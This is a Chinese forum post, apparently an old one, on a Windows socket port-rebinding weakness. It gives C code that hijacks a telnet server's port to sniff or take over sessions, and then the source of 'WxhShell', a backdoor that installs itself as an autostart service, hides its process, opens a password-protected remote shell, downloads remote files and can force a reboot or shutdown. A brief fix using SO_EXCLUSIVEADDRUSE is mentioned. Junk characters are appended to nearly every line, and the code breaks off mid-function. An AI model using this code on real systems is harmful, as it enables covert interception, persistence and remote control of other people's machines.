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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pP'-}%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iK"j@1|  
`f^`i~c\  
  saddr.sin_family = AF_INET; Ccocv>=Q&J  
a91Q*X%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /rNY;qXM  
pr-{/6j6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QsmG(1=  
X |f'e@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .~5cNu'#m  
(!';  
  这意味着什么?意味着可以进行如下的攻击: Oed&B  
g(:y_EpmLH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B%Yb+M&K  
a<V=C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S)"5X)mq  
A&5$eGe9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Oh:SH|=]#  
F|V co]"S1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MjI}fs<   
55oLj.l^j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KG#|Cq  
O'."ca]:5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <MN+2^ed&  
$`'^&o;&f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $gZ|=(y&r  
1F5F2OT$8  
  #include eT+MN`  
  #include 5b B[o6+  
  #include "VWxHRVg4M  
  #include    s=huOjKL]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k#%19B  
  int main() /$rS0@p  
  { nWZrB s _  
  WORD wVersionRequested; "`:#sF9S  
  DWORD ret; qc\o>$-:`  
  WSADATA wsaData; PyHE >C%  
  BOOL val; !*%3um  
  SOCKADDR_IN saddr; !9o8v0ZI  
  SOCKADDR_IN scaddr; -T{~m6  
  int err; gr=ke #   
  SOCKET s; Qb# S)[6s+  
  SOCKET sc; VH*j3  
  int caddsize; y&__ 2t^u  
  HANDLE mt; "_)   
  DWORD tid;   3iWLo Qm  
  wVersionRequested = MAKEWORD( 2, 2 ); c_^H;~^rL  
  err = WSAStartup( wVersionRequested, &wsaData ); `p^M\!h*O  
  if ( err != 0 ) { 7<.f&1MgI  
  printf("error!WSAStartup failed!\n"); =GR Em5  
  return -1; T  |j^  
  } Eun%uah6c  
  saddr.sin_family = AF_INET; ^ O`  
   3\@6i'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [=E<iPl  
jEO;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mI`dZ3h  
  saddr.sin_port = htons(23); %)aDh }  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hG;u8|uT^i  
  { alu`T c~  
  printf("error!socket failed!\n"); E>V8|Hz;  
  return -1; o`sn/x  
  } ?y04g u6p  
  val = TRUE; 2C8M1^0:Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E{Q^ZSV3B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sdt @"6  
  { 3> fuH'=  
  printf("error!setsockopt failed!\n"); Aqm0|GlJ  
  return -1; Lq&xlW j  
  } %Bo Jt-v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {jq-dL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]JM9 ^F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D>1Dao  
@LmUCP~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7v:;`6Jb  
  { w\QpQ~OX  
  ret=GetLastError(); (HJ60Hj  
  printf("error!bind failed!\n"); IWQ8e$N  
  return -1; HU'E}8%t6  
  } }z*p2)v`  
  listen(s,2); j"dbl?og  
  while(1) w5nRgdboy!  
  { [zfGDMG&  
  caddsize = sizeof(scaddr);  )Ob{]  
  //接受连接请求 2]'ozs$|v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #nd,cn  
  if(sc!=INVALID_SOCKET) /[-hJ=< Yb  
  { D;E&;vP6%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cP Y^Bf5)  
  if(mt==NULL) aD:+,MZ  
  { 2,fB$5+  
  printf("Thread Creat Failed!\n"); _\<M58/z  
  break; _96&P7  
  } f0uiNy(r$  
  } 7 D^A:f  
  CloseHandle(mt); *Zvw&y*  
  } x{- caOH  
  closesocket(s); t&oNJq{  
  WSACleanup(); 1Li@O[%X<  
  return 0; t>[r88v  
  }   t Z%?vY~!  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~:@H6Ke[  
  { j{PX ~/  
  SOCKET ss = (SOCKET)lpParam; o?3R HP47  
  SOCKET sc; O<hHo]jLF  
  unsigned char buf[4096]; Cr` 0C  
  SOCKADDR_IN saddr; ^#4s/mdVO  
  long num; ,y>Na{@Y  
  DWORD val; 0v_8YsZ!`$  
  DWORD ret; w9FI*30  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UdGoPzN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oxzNV&D[{`  
  saddr.sin_family = AF_INET;  /F_ :@#H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); piP8ObGjy  
  saddr.sin_port = htons(23); :QVGY^c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vo%d;>!G\;  
  { _=8+_OEk  
  printf("error!socket failed!\n"); 5-OvPTY`M  
  return -1; (Ka# 6   
  } coWBKWF  
  val = 100; q :bKT#\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =(ZGaZ}  
  { ~K9U0ypH  
  ret = GetLastError(); `T70FsSJ  
  return -1; TI>yi ^}  
  } my1kF%?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o >Lk`\  
  { fDd!Mt  
  ret = GetLastError(); v\Ljm,+  
  return -1; aM~fRra7  
  } e@OA>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  zjA/Z(  
  { \ax%I)3  
  printf("error!socket connect failed!\n"); 9QMn%8=j  
  closesocket(sc); X2cR+Ha0  
  closesocket(ss); O[ !o1.  
  return -1; #E9['JnZ  
  } %'e(3;YI  
  while(1) H#inr^Xa  
  { 2?QJh2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B$l`9!,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?^~"x.<nr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &r%*_pX  
  num = recv(ss,buf,4096,0); 8(>.^667  
  if(num>0) d 4]%Wdvf  
  send(sc,buf,num,0); >|)0Amt  
  else if(num==0) l,.?-|Poa  
  break; #ja`+w}  
  num = recv(sc,buf,4096,0); (x qA.(F  
  if(num>0) kA__*b}8UK  
  send(ss,buf,num,0); iwQ-(GjM[A  
  else if(num==0) 9Yyg}l:  
  break; Net)l@IB]  
  } vLuQe0l{  
  closesocket(ss); (0W}e(D8  
  closesocket(sc); ,dx)rZ*  
  return 0 ; LUck>l\l  
  } abeSkWUL(  
U@MP&sdL  
B#"|5  
========================================================== >&QH{!(  
zpqGh  
下边附上一个代码,,WXhSHELL E[.tQ|C  
/;AZ/Ocy!  
========================================================== ]TgP!M&q  
RX5.bVp eE  
#include "stdafx.h" uxyTu2L7  
bz0P49%  
#include <stdio.h> =5~F6to  
#include <string.h> ,|X+/|gm  
#include <windows.h> >:E* 7  
#include <winsock2.h> 4iNbK~5j  
#include <winsvc.h> Jh4&Qh|t  
#include <urlmon.h> x XM!E 8  
`%M-7n9Y  
#pragma comment (lib, "Ws2_32.lib") qmA2bw]  
#pragma comment (lib, "urlmon.lib") qzA]2'~Q  
;Q=GJ5`B  
#define MAX_USER   100 // 最大客户端连接数 RP,:[}mPl  
#define BUF_SOCK   200 // sock buffer RO{@RhnV  
#define KEY_BUFF   255 // 输入 buffer i*CQor6|z  
:e]9T3Q  
#define REBOOT     0   // 重启 O R<"LTCL  
#define SHUTDOWN   1   // 关机 eh:}X}c=J]  
r1oku0o  
#define DEF_PORT   5000 // 监听端口 ]hE +$sKd  
T5S g2a1&  
#define REG_LEN     16   // 注册表键长度 U2V^T'Y[  
#define SVC_LEN     80   // NT服务名长度 pAil]f6  
P$18Xno{  
// 从dll定义API |Vwc/9`t]>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZP6x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5U{4TeUH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wfDp,T3w7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cc41b*ci$  
cRh\USS  
// wxhshell配置信息 K2xH'v O(  
struct WSCFG { _7lt(f[S  
  int ws_port;         // 监听端口 K)/!&{7n}a  
  char ws_passstr[REG_LEN]; // 口令 ^r>f2 x  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1iJ0Hut}d  
  char ws_regname[REG_LEN]; // 注册表键名 DhLr^Z!h3;  
  char ws_svcname[REG_LEN]; // 服务名 O xT}I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PNbcy!\U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )C>}"#J>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JFRpsv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "($Lx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jVad)2D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t/KcXM  
7`IUMYl#~  
}; .!yWF?T8  
\ fK47oV  
// default Wxhshell configuration nAo8uWG  
struct WSCFG wscfg={DEF_PORT, VY/|WD~"CW  
    "xuhuanlingzhe", #y=ZP:{:t  
    1, i}PK $sa#c  
    "Wxhshell", J?UA:u  
    "Wxhshell", I %|@3=Yc  
            "WxhShell Service", qDnCn H  
    "Wrsky Windows CmdShell Service", 6FL?4>MZ  
    "Please Input Your Password: ", J| SwQE~  
  1, 3ty4D2y  
  "http://www.wrsky.com/wxhshell.exe", {TyCj?3B  
  "Wxhshell.exe" )v%l0_z{  
    }; w4\BD&7V  
-xJX_6}A  
// 消息定义模块 w&p~0cA~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EjWgaV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lijB#1<8*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X<(6T  
char *msg_ws_ext="\n\rExit."; pw@`}cM=  
char *msg_ws_end="\n\rQuit."; JOBz{;:R{  
char *msg_ws_boot="\n\rReboot..."; \V]t!mZ-}l  
char *msg_ws_poff="\n\rShutdown..."; XZ.7c{B<  
char *msg_ws_down="\n\rSave to "; 60"5?=D  
9khjwt  
char *msg_ws_err="\n\rErr!"; wGg0 hL  
char *msg_ws_ok="\n\rOK!"; 4~!Eje!  
8tU>DJ}0  
char ExeFile[MAX_PATH]; swt tp`  
int nUser = 0; lM>.@:  
HANDLE handles[MAX_USER]; & x`&03X  
int OsIsNt; Qh*)pt]n  
hjkLVL  
SERVICE_STATUS       serviceStatus; 1\/{#c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j(j#0dXLh  
4S tjj!ew  
// 函数声明 kP@H G<~  
int Install(void); sa*g  
int Uninstall(void); yE#g5V&  
int DownloadFile(char *sURL, SOCKET wsh); wh%xkXa[ur  
int Boot(int flag); tZbFvk2  
void HideProc(void); 6 Ew@L<v  
int GetOsVer(void); zX98c  
int Wxhshell(SOCKET wsl); !v0"$V5+i  
void TalkWithClient(void *cs); ]% K' fXj$  
int CmdShell(SOCKET sock); S_6g~PHsr  
int StartFromService(void); !$_~x 8K1-  
int StartWxhshell(LPSTR lpCmdLine); '3^Q14`R  
SAR= {/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S#tY@h@XV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =J](.78  
!}_b|  
// 数据结构和表定义 pe.Ml7o"  
SERVICE_TABLE_ENTRY DispatchTable[] = p}uncIod  
{ vwmBUix  
{wscfg.ws_svcname, NTServiceMain}, ZWS2q4/S  
{NULL, NULL} _g~2R#2Q  
}; L_~8"I_  
b?8)7.{F{  
// 自我安装 V,Q4n%h1.  
int Install(void) 96c?3ya  
{ -U >y   
  char svExeFile[MAX_PATH]; 7b,(\Fm  
  HKEY key; lNz]H iD  
  strcpy(svExeFile,ExeFile); b5<okICD  
ygzxCn|#  
// 如果是win9x系统,修改注册表设为自启动 1'JD=  
if(!OsIsNt) { E"6X|I n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ab2Q \+,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wpr ,j N8b  
  RegCloseKey(key); | &7S8Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \F{:5,Du)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "j^MB)YD  
  RegCloseKey(key); bWmw3w  
  return 0; 4t*so~  
    } ((bTwx  
  } ~e-z,:Af  
} qtMD CXZ^n  
else { eTbg7"waA  
0^3+P%(o@  
// 如果是NT以上系统,安装为系统服务 , jU5|2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); __Nv0Ru  
if (schSCManager!=0) 4CrLkr  
{ 3I  $>uR  
  SC_HANDLE schService = CreateService S\=1_LDx"  
  ( xr%#dVk  
  schSCManager, tU :EN;H  
  wscfg.ws_svcname, GpI!J}~m  
  wscfg.ws_svcdisp, a`!@+6yC  
  SERVICE_ALL_ACCESS, /.1. MssQM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %IY``r)j  
  SERVICE_AUTO_START, =Vw 5q},3  
  SERVICE_ERROR_NORMAL, hgj <>H|  
  svExeFile, ~ G6"3"  
  NULL, -7{ $ Vj  
  NULL, !.TLW  
  NULL, Ig6T g ?  
  NULL, eOI (6U!  
  NULL g(|{')8?d  
  ); bZ1 78>J]  
  if (schService!=0) !?!C'-ps  
  { 8|%^3O 0X  
  CloseServiceHandle(schService); D5,P)[  
  CloseServiceHandle(schSCManager); &--ej|n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &#yR;{  
  strcat(svExeFile,wscfg.ws_svcname); iyta;dw9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [U/(<?F{(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XB59Vm0E=  
  RegCloseKey(key); BV#78,8(  
  return 0; $*R/tJ.  
    } Bi,;lR5  
  } Yz$3;  
  CloseServiceHandle(schSCManager); y|wlq3o  
} Xx:F)A8O  
} ?>"Yr,b?  
$(e#aHB  
return 1; %ru;;h  
} ?L&|Uw+  
UFAL1c<V  
// 自我卸载 DwHF[]v'  
int Uninstall(void) b` Hz$8  
{ _WXtB#  
  HKEY key; A+J*e  
L@`ouQ"sa  
if(!OsIsNt) { D^%^xq )E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &`0/CV  
  RegDeleteValue(key,wscfg.ws_regname); 8{`?= &%6  
  RegCloseKey(key); W"^wnGa@a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4SPy28<f  
  RegDeleteValue(key,wscfg.ws_regname); g<{xC_J  
  RegCloseKey(key); >{\7&}gz  
  return 0; J]f3CU,<N  
  } xk&Jl#v  
} [(1c<b2r  
} ;qHOOT  
else { >D201&*G%  
E dZ\1'&/9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pvmC$n^zc  
if (schSCManager!=0) cuy1DDl  
{ \+aC"#+0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $!&*xrrNM  
  if (schService!=0) ,U(1NK8o  
  { ME'|saP  
  if(DeleteService(schService)!=0) { #>Zzf  
  CloseServiceHandle(schService); Xy5e5K  
  CloseServiceHandle(schSCManager); V5*OA??k<  
  return 0; Y ')x/H  
  } J9~ g|5  
  CloseServiceHandle(schService); EkziAON  
  } x?&$ci  
  CloseServiceHandle(schSCManager); {%_L=2n6  
} q$=#A7H>3)  
} b0oMs=uBn  
itC-4^  
return 1; VkZ7#  
} Yk=PS[f  
,G)r=$XU  
// 从指定url下载文件 o"*AtGR+"  
int DownloadFile(char *sURL, SOCKET wsh) i[ mEi|  
{ H)n9O/u  
  HRESULT hr; 7Hs%Cc"  
char seps[]= "/"; c"[cNZo  
char *token; x)@G;nZ  
char *file; b9!FC$^J  
char myURL[MAX_PATH]; [UH||qW  
char myFILE[MAX_PATH]; |j7,Mu+  
^jx7@LgS=  
strcpy(myURL,sURL); &G-!qxe  
  token=strtok(myURL,seps); ' ET~  
  while(token!=NULL) 62zYRs\Y)X  
  { #)nSr  
    file=token; B8}Nvz /  
  token=strtok(NULL,seps); h D/*h*}T>  
  } }|pwz   
3qf Ym}d  
GetCurrentDirectory(MAX_PATH,myFILE); aJ>65RJ^=  
strcat(myFILE, "\\"); I"A_b}~*}  
strcat(myFILE, file); ojan Bg   
  send(wsh,myFILE,strlen(myFILE),0); @"^0%/2-  
send(wsh,"...",3,0); +8RgF   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }n>p4W"OM  
  if(hr==S_OK) \hx1o\  
return 0; XzEc2)0'v  
else VT\F]Oa#  
return 1; `)_dS&_\  
N(Fp0  
} UdpF@Q  
,Vt/(x-  
// 系统电源模块 )mF5Vw"  
int Boot(int flag) d^{RQ   
{ {?:X8&Sf  
  HANDLE hToken; H}hiT/+$  
  TOKEN_PRIVILEGES tkp; 8@MV%MVy$  
Z$/xy"  
  if(OsIsNt) { d?A 0MKnl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @`q:IIgW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BRgXr  
    tkp.PrivilegeCount = 1; YS/Yd[ e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; < HVl(O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v|dBSX9k0  
if(flag==REBOOT) { H|3:6x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {xXsBh Y  
  return 0; PHZ0P7  
} _V7s#_p  
else { pKpUXfQu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,$s8GAmq  
  return 0; VY |_d k  
} u{['<r;I  
  } l]Ax:Z  
  else { "_-Po^u=r  
if(flag==REBOOT) { D1zBsi94D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,!#*GZ.ix  
  return 0; ME46V6[LX]  
} %4et&zRC  
else { _>(^tCo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2 ^h27A  
  return 0; hT`J1nNt  
} ,|y:" s  
} B-ngn{Yc   
YIoQL}pX  
return 1; Z}mLLf E  
} I*{4rDt  
6Ypc`  
// win9x进程隐藏模块 V58wU:li  
void HideProc(void) >s>1[W@*  
{ ?Y-%'J(  
($au:'kU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,k )w6)  
  if ( hKernel != NULL ) ]m g)Q:d,  
  { cv998*|X:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n0r+A^]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JD)(oK%C  
    FreeLibrary(hKernel); j9eTCJqB  
  } be]bZ 1f  
dgR g>)V  
return; Xe6w|  
} ZZ2vvtlyG  
)97SnCkal  
// 获取操作系统版本 nzd2zY>V  
int GetOsVer(void) %HGD;_bhI  
{ "?]{ %-u  
  OSVERSIONINFO winfo; HW3 }uP\c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .AR#&mL9  
  GetVersionEx(&winfo); Vq2y4D?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]op}y0  
  return 1; *w^C"^*  
  else 0Vlk;fIh  
  return 0; Aw}"gpL  
} q$I;dOCJ,  
S>h;K`  
// 客户端句柄模块 xf<at->  
int Wxhshell(SOCKET wsl) pWy=W&0~qf  
{ ![`Ay4AZ@a  
  SOCKET wsh; Ov 5"  
  struct sockaddr_in client; -}nxJH)  
  DWORD myID; k.5u  
S{]x  
  while(nUser<MAX_USER) AJh w  
{ U &C!}  
  int nSize=sizeof(client); *,e:]!*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <v)1<*I  
  if(wsh==INVALID_SOCKET) return 1; @G8lr  
r[2ILe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %SX|o-B~.o  
if(handles[nUser]==0) *^g:P^4  
  closesocket(wsh); GGNvu )"  
else }p}[j t  
  nUser++; HBy[FYa4  
  } >pU$wq|i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "U e. @>  
_y),J'W^3u  
  return 0; g l^<Q  
} @OV|]u  
f-bVKHt  
// 关闭 socket xDG2ws=@D  
void CloseIt(SOCKET wsh) G}:w@}h/  
{ kW *f.!  
closesocket(wsh); b<a4'M  
nUser--; G'oG< /A  
ExitThread(0); qAAX;N  
} ZjgsR|i  
W }8'Pf  
// 客户端请求句柄 .LZwuJ^;  
void TalkWithClient(void *cs) q@Zn|NR  
{ c#|raXGT  
j"}*T  
  SOCKET wsh=(SOCKET)cs; R%{ a1r>9h  
  char pwd[SVC_LEN]; V,mw[Hw  
  char cmd[KEY_BUFF]; ,24p%KJ*X  
char chr[1]; )Hpa}FGT  
int i,j; 'JCZ]pZ  
eIz<)-7:  
  while (nUser < MAX_USER) { ,5|&A  
v16 JgycM  
if(wscfg.ws_passstr) { v:!Z=I}>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i&5XF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oE+R3[D?r  
  //ZeroMemory(pwd,KEY_BUFF); 55tKTpV  
      i=0; N.\- 8?>  
  while(i<SVC_LEN) { -&3hEv5  
&7`^i.fh)  
  // 设置超时 z`!XhU  
  fd_set FdRead; uW30ep'  
  struct timeval TimeOut; $ {O#  
  FD_ZERO(&FdRead); qyF{f8pzq  
  FD_SET(wsh,&FdRead); I(V!Mv8j  
  TimeOut.tv_sec=8; ,quoRan  
  TimeOut.tv_usec=0; ?$*SjZt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \9cG36  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JBXrFC;  
5_- (<B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W+PJZn  
  pwd=chr[0]; 4Uphfzv3D  
  if(chr[0]==0xd || chr[0]==0xa) { P>s[tM  
  pwd=0; *1v[kWa?  
  break; >33=<~#n  
  } hEBY8=gK  
  i++; >Db;yC&  
    } {@+Ty]e  
;D:9+E<>a  
  // 如果是非法用户,关闭 socket #73F} tZ^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v.pBX<  
} hp#W 9@NR  
}s(N6a&(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wN;^[F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L1cI`9  
6^eV"&+@  
while(1) { _H j!2 '  
Lv| q  
  ZeroMemory(cmd,KEY_BUFF); H5Z$*4%G  
)n2 re?S  
      // 自动支持客户端 telnet标准   D|e uX7b  
  j=0; nm6h%}xND<  
  while(j<KEY_BUFF) { -Z 4e.ay5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nEJY5Bz$  
  cmd[j]=chr[0]; )}"wesNo".  
  if(chr[0]==0xa || chr[0]==0xd) { 1JztFix  
  cmd[j]=0; .^h#_[dp  
  break; Cj{1H([-  
  } n[G&ksQI  
  j++; Dey<OE&  
    } AaWs}M  
[8T^@YN  
  // 下载文件 v":x4!kdX  
  if(strstr(cmd,"http://")) { M<kj_.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X!9 B2w  
  if(DownloadFile(cmd,wsh)) "nw;NIp!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7f0lQ  
  else whi`Z:~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D/vOs[X o,  
  } }a/x._[s  
  else { 3|'>`!hb  
-o $QS,  
    switch(cmd[0]) { (9Ux{@$o[  
  +^=8ge}  
  // 帮助 $W!!wN=B  
  case '?': { 19E 8'@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qz0;p=$8Z  
    break; 57umx`m  
  } ABD)}n=%c  
  // 安装 ] 6TATPIr  
  case 'i': { q*_/to  
    if(Install()) JM x>][xD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); amOnqH-(  
    else E4|jOz^j4\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4^WpS/#4  
    break; mlJ!:WG  
    } @+Si?8\  
  // 卸载 bN]+_ mF  
  case 'r': { |wiqGzAr{  
    if(Uninstall()) i rU 6D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vms|x wb  
    else 9Iwe2lu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9x>d[-#y:J  
    break; T 6)bD&  
    } }<@b=_>S  
  // 显示 wxhshell 所在路径 Z4S!NDMm~  
  case 'p': { `6lr4Kk @R  
    char svExeFile[MAX_PATH]; S?{#r  
    strcpy(svExeFile,"\n\r"); nExU#/*~^  
      strcat(svExeFile,ExeFile); 'ig&$fzb  
        send(wsh,svExeFile,strlen(svExeFile),0); tzZ`2pSh  
    break; gl\\+VyU  
    } /178A;J y  
  // 重启 v!<gY m&  
  case 'b': { WY?[,_4U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nuk*.Su  
    if(Boot(REBOOT)) 4]?<hH9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2%LL Sa  
    else { L^}_~PO N5  
    closesocket(wsh); j(m.$:  
    ExitThread(0); ,K)_OVB  
    } qh9Z50E9  
    break; ,}3 'I [  
    } o /j*d3  
  // 关机 ED=V8';D  
  case 'd': { TE3lK(f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &"yx<&c}  
    if(Boot(SHUTDOWN)) 'u*D A|HC  
